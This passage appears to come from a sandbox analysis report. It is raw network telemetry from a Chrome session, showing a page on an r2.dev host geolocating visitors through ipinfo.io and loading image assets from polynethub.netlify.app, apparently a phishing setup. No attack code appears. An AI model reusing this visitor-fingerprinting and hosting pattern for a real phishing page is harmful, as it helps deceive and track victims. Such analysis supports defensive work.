$>-6}K&l+i\4@dWh+`eRZaK8`#^sQ\'xhG8<XyA$s`>y};@ZZx>um5`'<9\=EovR4hk7j`;`lI%JpfXH\-hZmk-" _5
2025-03-13 09:09:55 UTC	12	IN	Data Raw: 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49759	34.117.59.81	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:55 UTC	604	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://pub-160645733abe48e1a173755d32058a26.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:55 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 322 content-type: application/json; charset=utf-8 date: Thu, 13 Mar 2025 09:09:55 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-13 09:09:55 UTC	322	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 37 36 2e 31 35 30 2e 34 36 2e 39 34 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 63 2d 37 36 2d 31 35 30 2d 34 36 2d 39 34 2e 68 73 64 31 2e 69 6c 2e 63 6f 6d 63 61 73 74 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 48 61 72 76 65 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 49 6c 6c 69 6e 6f 69 73 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 31 2e 36 31 30 30 2c 2d 38 37 2e 36 34 36 37 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 37 39 32 32 20 43 6f 6d 63 61 73 74 20 43 61 62 6c 65 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 36 30 34 32 36 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 Data Ascii: { "ip": "76.150.46.94", "hostname": "c-76-150-46-94.hsd1.il.comcast.net", "city": "Harvey", "region": "Illinois", "country": "US", "loc": "41.6100,-87.6467", "org": "AS7922 Comcast Cable Communications, LLC", "postal": "60426", "timezone

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	3.125.36.175	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:55 UTC	398	OUT	GET /mgs/prog.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:55 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 13487 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 2833 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:55 GMT Etag: "a7c51b41fd84a8109554aae7fef739ec-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8YAJ6AVJ78GASWPFD1AK Connection: close
2025-03-13 09:09:55 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b9 00 00 00 56 08 06 00 00 00 52 31 e8 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 0a a6 49 44 41 54 78 5e ed dd cb 6e dc d6 1d c7 f1 02 41 1f a0 40 9f a4 7d 91 16 f6 ca ab 1a ed 33 b4 90 81 b8 2b ad bc e9 42 f0 46 80 d1 02 86 13 a4 4b 2d ac 85 ba f5 05 50 91 42 83 14 51 9a 1a 55 5d 5b 96 2c 27 f2 a5 4e 04 bb 39 e5 ef 90 7f ce e1 19 ce 78 78 d1 0c e7 e8 fb 01 88 cc f0 72 0e 2f ca f9 99 e4 21 e7 47 0e 00 80 44 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 Data Ascii: PNGIHDRVR1sRGBgAMAapHYsodIDATx^nA@}3+BFK-PBQU][,'N9xxr/!GDrdrdrdrdrdrdrdrdrdrdrdrd
2025-03-13 09:09:55 UTC	2068	IN	Data Raw: a8 ae d4 ce e6 08 b9 05 d2 eb b7 14 36 1a 9a 3c 07 d7 95 ea b2 7a 79 05 18 30 7c 7a fd 96 c2 46 c3 22 ce e2 8c ea b2 7a 53 79 05 18 21 b7 40 7a cf a4 82 46 6f 29 69 ea 70 27 bf e4 f8 d1 8d 7d d7 e6 df 58 f6 66 14 ad 03 80 61 b3 1e 95 6d ce a8 8e b6 af b9 4b 57 ae e6 c3 f5 2d d7 f4 6e 9e 9d 41 a6 d2 d3 92 90 5b 20 bd 50 59 41 a3 d7 71 35 73 e2 ee 8f 4e 9c 1b 8d 5a 87 9c ea 54 dd 5a 07 00 c3 a6 17 2a 2b 68 1a f7 a8 dc db c8 c2 6d c3 ed 15 5f 7d e0 dd da 2d be cd c7 7a 5a 6a 1d 52 40 c8 2d 90 7e 39 40 41 a3 f7 4e b6 d2 21 e4 54 a7 ea d6 3a 00 18 36 fd 72 80 82 46 ef 9d 6c 62 ef d6 55 b7 b6 fd b4 f8 96 39 de 72 6b 0d cf e6 54 a7 ea d6 3a a4 80 90 5b 20 fd 44 8e 82 a6 f5 fd b8 0e 21 67 f7 e5 b4 0e af de bc 65 60 60 18 f0 60 3f 97 d3 f9 7e 9c ce ec 1a 9e c9 d9 Data Ascii: 6<zy0\|zF"zSy!@zFo)ip'}XfamKW-nA[ PYAq5sNZTZ*+hm_}-zZjR@-~9@AN!T:6rFlbU9rkT:[ D!ge```?~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	3.125.36.175	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:55 UTC	402	OUT	GET /mgs/eyeslash.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:56 UTC	420	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 20316 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 891 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:55 GMT Etag: "3b2dc72c3ac4bd3b3de6ea834107239e-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8YD9N8SBP3K1JEF3YXJP Connection: close
2025-03-13 09:09:56 UTC	766	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 23 00 00 00 1c 08 06 00 00 00 eb f5 06 21 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 03 10 49 44 41 54 58 47 ed 96 db 4b 54 51 14 c6 fb 63 82 48 0a bb 78 6b ba d9 c5 2c 8c c2 32 2f 0d 56 f4 10 a6 99 f4 14 96 97 a2 24 c2 4c cb 20 b4 31 c3 8a 24 53 1b 83 34 e8 a2 a3 8e 16 35 2a 8a a3 63 62 0f 42 33 a3 cc eb 8c 8c b0 3a df 9a bd 0f 33 cc 1c e7 68 24 3d f8 83 83 9e ef ac d9 fb 3b 7b af b5 f6 59 47 ff 11 6b 66 b4 58 33 a3 45 88 19 4b 6f 1f 7d fc f4 59 dc ad 3e 21 66 8c b9 67 69 fd 86 18 aa aa ae 11 ca ea 12 62 c6 6a 1d a0 e4 03 29 6c e8 cc b9 f3 42 8d cc cf e9 69 72 4c 4d 91 cf e7 13 ca df 13 Data Ascii: PNGIHDR#!sRGBgAMAapHYsodIDATXGKTQcHxk,2/V$L 1$S45*cbB3:3h$=;{YGkfX3EKo}Y>!fgibj)lBirLM
2025-03-13 09:09:56 UTC	125	IN	Data Raw: fe 35 0f 6b 59 d3 4b 54 33 12 1c 82 30 80 43 51 4e 86 0b 87 26 0e 4f 1c a2 38 4c 41 77 8f 85 0e 1d 4e e3 e7 30 eb f1 78 58 8f 86 6e 33 c1 e0 b3 01 9f 0f f8 8c d0 02 15 04 23 30 b4 ef 60 2a 59 07 06 c5 13 6d 56 64 66 39 54 dd af 61 43 f8 70 8b c6 3f 37 03 de 9a 3b e8 41 ed 23 71 a7 cd aa 98 d1 cb 9a 99 c8 10 fd 01 1e 2c f2 87 54 df ab 6d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 5kYKT30CQN&O8LAwN0xXn3#0`*YmVdf9TaCp?7;A#q,TmIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49758	3.125.36.175	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:55 UTC	398	OUT	GET /mgs/main.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:56 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 10751 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 5335 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:55 GMT Etag: "6d578b34826b9d260c17071c996c2506-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8YDQ8BJXEC04M2ADDDZ3 Connection: close
2025-03-13 09:09:56 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 06 00 00 00 61 08 03 00 00 00 9a 8f 99 59 00 00 01 44 50 4c 54 45 ff ff ff 15 15 15 f5 84 1f 76 3d 1a e1 76 24 00 00 00 cc 61 28 12 12 12 c0 ac 9d ea ea ea d4 be b1 6f 6f 6f 10 10 10 1f 1f 1f 0a 0a 0a df df df d5 d5 d5 66 66 66 8c 8c 8c 9d 9d 9d be be be 2c 2c 2c c5 c5 c5 f9 f9 f9 f5 80 10 f8 ae 7c 81 81 81 76 76 76 f0 80 20 71 3a 1a 05 05 05 ec ec ec 49 49 49 82 75 6b 00 03 15 71 33 00 af af af 3f 3f 3f d5 69 26 a5 a5 a5 36 36 36 e8 7b 22 51 51 51 97 97 97 c1 c1 c1 5a 5a 5a e0 72 1a 6a 6a 6a 31 31 31 dc 71 25 df 6d 00 6a 25 00 85 45 1b 73 38 10 1f 33 46 ff 88 1c f9 e3 d5 f5 d6 c3 94 4d 1c c6 68 21 e5 8c 4e fb ee e5 f1 c1 a1 bd a6 9a a8 58 1e 0c 30 47 ec af 87 db 98 6c d5 bb aa de d4 cc e2 7c 31 89 Data Ascii: PNGIHDRaYDPLTEv=v$a(ooofff,,,\|vvv q:IIIukq3???i&666{"QQQZZZrjjj111q%mj%Es83FMh!NX0Gl\|1
2025-03-13 09:09:56 UTC	2372	IN	Data Raw: 42 e1 15 ae 84 f6 d3 5d a6 38 06 06 c2 e0 87 1b b8 7e 50 18 70 9c d7 1a 04 85 57 18 7b 69 3e 81 71 b0 d7 57 ba b6 b5 88 ab a7 94 1c 6a 0e a1 f0 0a 57 40 0f 41 0c 52 8e c1 71 26 70 29 e5 ce 40 08 0a af 30 ee fa 06 ee 36 02 c2 6b c5 1c a0 14 b4 6c 0e 81 79 85 ef f3 6e 68 21 93 9e 63 18 a8 8e a1 87 62 20 f9 04 20 36 8c 31 f8 36 ef 86 16 32 e9 05 14 22 0a 10 ce 92 3e ce e0 13 30 87 10 69 f5 45 de 0d 2d 64 d2 f4 2a de 77 b2 63 c0 bc 42 ec 13 c4 74 22 82 c1 74 de 0d 2d 64 12 3c 52 88 39 d8 13 91 22 e6 15 32 38 84 48 c5 48 61 bc 15 18 31 20 3a 33 7a 05 61 0c 1e 19 21 20 1a 75 c6 b2 d0 ff 47 cf 0d c1 01 35 08 3c b7 0c 7b 85 5e 06 87 30 59 44 88 e3 2f 3d 99 9c e6 80 3b 06 dc 27 58 1c c2 64 91 36 18 7f 19 63 44 ae 33 cc 1c b4 32 39 84 22 42 1c 7f 99 63 44 6e 10 22 Data Ascii: B]8~PpW{i>qWjW@ARq&p)@06klynh!cb 6162">0iE-d*wcBt"t-d<R9"28HHa1 :3za! uG5<{^0YD/=;'Xd6cD329"BcDn"
2025-03-13 09:09:56 UTC	538	IN	Data Raw: b9 b5 8c 41 49 2c 8c a0 03 a8 0c 79 03 6b c3 74 65 c1 80 8f 10 37 6a 5c d5 79 63 f7 c8 18 88 e1 0e 63 c8 82 41 87 7a 41 7f a7 2a 6e d4 94 c7 8f 46 d5 e6 5c e1 7e 2a 88 3d e0 79 83 a5 db 62 c4 68 e5 40 f7 09 eb d7 54 ad 47 52 fb b8 4f 7f 4b 95 d3 30 b0 79 05 05 03 3e de 62 0f 34 bf f4 51 bc 74 a8 c2 24 ec 2f 72 92 82 01 1f ee b0 ae b1 60 50 4f dd a7 c2 17 2e d8 37 2f 45 27 6f 89 55 d6 6c 89 83 26 91 45 8c 73 c9 9e 8d 03 cd 27 4c b4 d2 fd 4b 59 50 8a 00 05 ae ad 6b 3b dc 6c 5e 41 c1 80 19 45 7f 85 76 6f 7e 18 f0 9d 26 95 58 ec 71 63 4b 90 14 0c c4 3c 20 ad 9a 05 83 38 16 4a dd 08 cf 27 2b 5a 68 88 10 09 4c 69 c4 73 0a d9 66 96 88 4f f8 51 33 e5 13 0e c0 81 8a 01 54 00 da f6 6c 6e 8b 82 41 c0 fa 88 e5 d1 72 c3 a0 56 91 83 2b 49 c8 fd 14 0c d8 ea 11 fe 42 5b Data Ascii: AI,ykte7j\yccAzAnF\~=ybh@TGROK0y>b4Qt$/r`PO.7/E'oUl&Es'LKYPk;l^AEvo~&XqcK< 8J'+ZhLisfOQ3TlnArV+IB[
2025-03-13 09:09:56 UTC	1660	IN	Data Raw: 5d bc 74 03 c6 a0 25 38 78 ff bc 7b 72 f7 7d da f5 d3 e0 e1 d7 93 93 ee f3 f7 9c 02 c4 18 2c fe 81 dc 57 6e c7 18 61 b0 01 cd 20 98 f2 c9 23 62 50 67 8b 53 52 3d 5e c6 36 2f dd 64 d6 22 35 39 50 f7 d9 7e 15 2b 06 24 e2 11 1c c0 e3 90 00 f4 09 cc 1c 90 ae 7e ff ee f7 93 bb 77 ef fe 73 1d c0 60 fd 37 72 e4 e4 f7 77 ef 29 05 e8 87 95 c1 db c6 0f 63 dc 30 e0 fb 53 d4 6b b3 4c 0f bc b7 6c 44 0c 36 d4 89 0b 2e be 7b 45 ef aa 25 37 1a 51 a6 6b c0 1e 1f b8 13 5a df b5 c4 39 58 01 39 f8 05 36 06 cc 1c 4c f4 3e fc 76 f7 84 70 70 f2 fe 5a 3f 85 41 ff da af 11 05 27 77 57 3e f4 26 50 63 40 cc 81 e9 ef f4 8c 1d 06 7c 05 59 7a 28 6e 58 3e 3e 22 06 3b e0 6e 35 74 01 2c 4b 32 44 4b e6 65 5d e7 99 16 e0 fa f8 1e c6 15 e8 b9 21 3e 81 99 83 56 34 5f 7c 46 0c c2 c9 bb 6b 4e Data Ascii: ]t%8x{r},Wna #bPgSR=^6/d"59P~+$~ws`7rw)c0SkLlD6.{E%7QkZ9X96L>vppZ?A'wW>&Pc@\|Yz(nX>>";n5t,K2DKe]!>V4_\|FkN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	3.125.36.175	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:55 UTC	398	OUT	GET /mgs/tad1.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:56 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 20316 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 6472 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:55 GMT Etag: "f4e7fa70f231495f66f18ec5cf5dac24-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8YEPV4B8XW95KY8TJPTK Connection: close
2025-03-13 09:09:56 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 33 08 06 00 00 00 3a a1 30 2a 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 18 dd 49 44 41 54 78 01 cd 5a 09 74 5b e5 95 be 6f 7f 7a 4f fb 2e 5b de 62 3b de b2 c7 59 49 88 29 24 69 3a a4 ac 01 0a 94 29 2d 2d ed 9c 96 29 73 e8 32 4b 8b 3b d3 2d 53 86 b6 74 80 12 4a a1 50 ca 12 4a 1a a0 93 90 06 e2 10 12 87 d8 89 9d cd b1 1d 3b 56 2c db b2 2d 5b fb f2 a4 b7 cd 95 12 32 09 0d 90 cc f4 f4 cc cd 79 47 b1 de d3 ff ff df ff df fb dd ef 5e 89 80 f3 ad b5 95 b4 bf b7 d8 18 99 0c 2a 70 f0 de 0c 5c 82 3d 01 0b 99 d2 19 ce 35 65 9c c9 34 35 1d dd 75 f5 e4 5b 13 f0 57 b2 1f 38 17 fa 8c 82 b9 Data Ascii: PNGIHDR33:0pHYssRGBgAMAaIDATxZt[ozO.[b;YI)$i:)--)s2K;-StJPJ;V,-[2yG^p\=5e45u[W8
2025-03-13 09:09:56 UTC	2372	IN	Data Raw: fd 80 65 e3 bf 51 7a be 37 33 3e f9 43 b8 0c 0b 65 93 3f 3f 99 1a 2f 4f 67 c7 8e 6e 3b d0 fe 1f 17 7b 86 8b 25 92 e4 d0 29 9d a0 59 d2 c1 b0 2c 1d 0f ed 3f 62 b5 d6 1f e4 3d 35 eb 08 93 f9 39 45 c9 86 79 d5 39 4d 00 19 9c 31 67 e4 ed 49 ee f1 3f 26 f7 7d 25 dc be b5 ba 3a a7 aa 35 e1 70 bc fd 96 7b a3 71 9f 2f c9 8a 16 67 95 12 8f 11 ac 2c 8b 34 c7 7b 2a 28 97 7a 2c 3b f5 f3 d9 92 fb 0a 87 d5 5d 7b 15 15 e0 5e de f2 e3 cf 59 ca e7 a6 7b 5e ff c2 18 5c 86 fd b1 e7 cd 93 21 2d f7 65 2f 0f b1 b9 31 ab b4 d5 d4 5c c7 e7 74 82 ca 53 e1 77 41 88 97 39 43 86 1a 8d 6f d1 27 a2 42 9e e5 92 c7 c3 c1 69 7a aa eb df 43 94 a5 ee 5f 28 42 4d b0 e6 b2 9b 49 5a f4 c8 aa 0a 52 2e a5 53 9a b0 c4 53 d6 3c be f5 b1 ea 63 cb e6 99 1f 16 cd c4 bc 9d 7f 54 37 02 44 1f bd 37 74 Data Ascii: eQz73>Ce??/Ogn;{%)Y,?b=59Ey9M1gI?&}%:5p{q/g,4{*(z,;]{^Y{^\!-e/1\tSwA9Co'BizC_(BMIZR.SS<cT7D7t
2025-03-13 09:09:56 UTC	538	IN	Data Raw: 0c 34 c1 98 d0 75 0d 8c 2e b3 58 d9 51 ba 32 a1 e6 e4 b4 9a cf c6 b2 59 69 54 ca 24 47 72 b9 54 84 20 e8 28 ce 95 56 88 5c 22 11 4b ed fb 48 30 57 d4 81 b1 be dc b6 c6 53 25 99 33 b9 a3 10 1f 5d 82 0e 83 54 3c 64 87 d3 86 2b a0 7e 71 02 0c 54 ff 99 d8 41 14 64 11 10 96 75 45 9f 23 90 b6 01 cc 22 9e 4a 3e 07 d1 48 12 d0 dd 81 37 60 a1 82 2e 77 7a aa 16 b6 f6 5d 0f 9d e3 4b 61 22 63 23 18 82 70 32 48 24 94 24 c9 1c ab 05 99 9c 3c 92 4c 4f 0f c6 26 87 3a e2 f1 48 57 4e 93 c2 91 5c 3c ea cf 46 a2 6d 6d ad ca c5 d6 7b 01 98 cf 7a e6 88 b7 97 cd 5c 94 4f a6 42 d7 f5 6d ef ab 2a 15 6a cb fd e6 79 04 47 53 0e 5f 27 44 02 4e 88 8d 54 16 c5 e5 e4 09 3f 08 fc d5 50 b7 24 83 bb 7f ba 98 24 09 04 54 08 0b 12 51 91 c5 d3 22 20 87 c2 40 34 08 c8 6a 79 48 27 63 70 62 6c Data Ascii: 4u.XQ2YiT$GrT (V\"KH0WS%3]T<d+~qTAduE#"J>H7`.wz]Ka"c#p2H$$<LO&:HWN\<Fmm{z\OBm*jyGS_'DNT?P$$TQ" @4jyH'cpbl
2025-03-13 09:09:56 UTC	2797	IN	Data Raw: b1 8c cf c8 ce 76 f0 9a 6c cc a6 db 7b c2 a0 5e 36 98 eb ca 0d ba 5d 37 09 64 2e 5f 36 10 0f 87 d8 fa d3 cf d4 cd 71 dc 23 d9 8d 8e 82 64 21 30 49 16 b2 bd cd 31 82 65 8f 11 e4 29 0f c8 04 87 1b 4f 40 32 e4 06 55 f5 82 bd 2a 8d 6c 33 85 83 12 45 30 34 52 0e 83 14 c4 20 18 9a 2f 34 80 70 3a 4c f0 ee 99 1c 2c 2c 3b 0a 55 ca 3b c0 b3 b8 29 79 01 40 a6 8a a7 a8 67 14 48 63 49 51 ea 64 1b 05 2b 3b b9 65 5f f2 18 fc 59 fe f9 18 30 6f 84 42 1a e3 a4 7b bd 59 ba 63 20 1e db 6e 5e a9 cd f1 d4 da 3f 93 62 18 52 cd cb 40 a1 5f a3 16 06 8e d2 c0 e7 1d 04 49 15 21 36 8d f1 53 70 2b fc 97 9a 74 81 94 29 07 6f 1d 92 02 33 5d a4 4c 86 a3 b1 d8 a4 b1 04 41 20 48 d1 78 03 a0 f8 6a 00 de ed 05 8d 2b 85 e9 b1 34 c8 a9 24 70 22 8e 83 73 e4 d3 08 06 a5 3a 49 e8 82 95 21 7c 0d Data Ascii: vl{^6]7d._6q#d!0I1e)O@2U*l3E04R /4p:L,,;U;)y@gHcIQd+;e_Y0oB{Yc n^?bR@_I!6Sp+t)o3]LA Hxj+4$p"s:I!\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49760	3.125.36.175	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:55 UTC	398	OUT	GET /mgs/icon.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:56 UTC	420	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 45723 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 576 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:55 GMT Etag: "b5fa37ee0569700b0d1006b7e01c45c8-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8YHQ8XN91C7ZC9GA8MXY Connection: close
2025-03-13 09:09:56 UTC	576	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 1a 08 06 00 00 00 4b 96 57 b7 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 01 d5 49 44 41 54 48 4b ed 95 4b 28 44 61 18 86 95 8d b2 62 41 59 d9 c9 ce ca ca 46 51 62 61 ad 64 61 61 c3 c2 42 6a 52 13 c9 42 83 24 0a b9 45 22 44 49 62 85 d4 34 c6 8c fb 65 86 99 cc 0c cd 60 32 23 cd b8 cc e6 e3 1b fd 75 9a f3 9e cb c8 65 63 f1 6c ce ff 9d e7 a9 ff fc e7 9c 14 ff 53 8c 7e 9b ff e8 8f 92 54 74 df 1f a5 09 5b 90 ba b6 02 64 58 f5 51 bf f9 8e 36 5c 4f 70 56 0d 5d 51 8e 35 ad f8 28 a7 7d 8f 52 9b 77 64 64 b5 da a9 62 cc 41 66 6f 04 de 9f 88 66 74 e5 2c 4c 79 9d 07 30 86 18 b3 06 a1 47 8a Data Ascii: PNGIHDRKWsRGBgAMAapHYsodIDATHKK(DabAYFQbadaaBjRB$E"DIb4e`2#ueclS~Tt[dXQ6\OpV]Q5(}RwddbAfoft,Ly0G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49761	34.117.59.81	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:57 UTC	377	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:58 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 322 content-type: application/json; charset=utf-8 date: Thu, 13 Mar 2025 09:09:57 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-13 09:09:58 UTC	322	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 37 36 2e 31 35 30 2e 34 36 2e 39 34 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 63 2d 37 36 2d 31 35 30 2d 34 36 2d 39 34 2e 68 73 64 31 2e 69 6c 2e 63 6f 6d 63 61 73 74 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 48 61 72 76 65 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 49 6c 6c 69 6e 6f 69 73 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 31 2e 36 31 30 30 2c 2d 38 37 2e 36 34 36 37 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 37 39 32 32 20 43 6f 6d 63 61 73 74 20 43 61 62 6c 65 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 36 30 34 32 36 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 Data Ascii: { "ip": "76.150.46.94", "hostname": "c-76-150-46-94.hsd1.il.comcast.net", "city": "Harvey", "region": 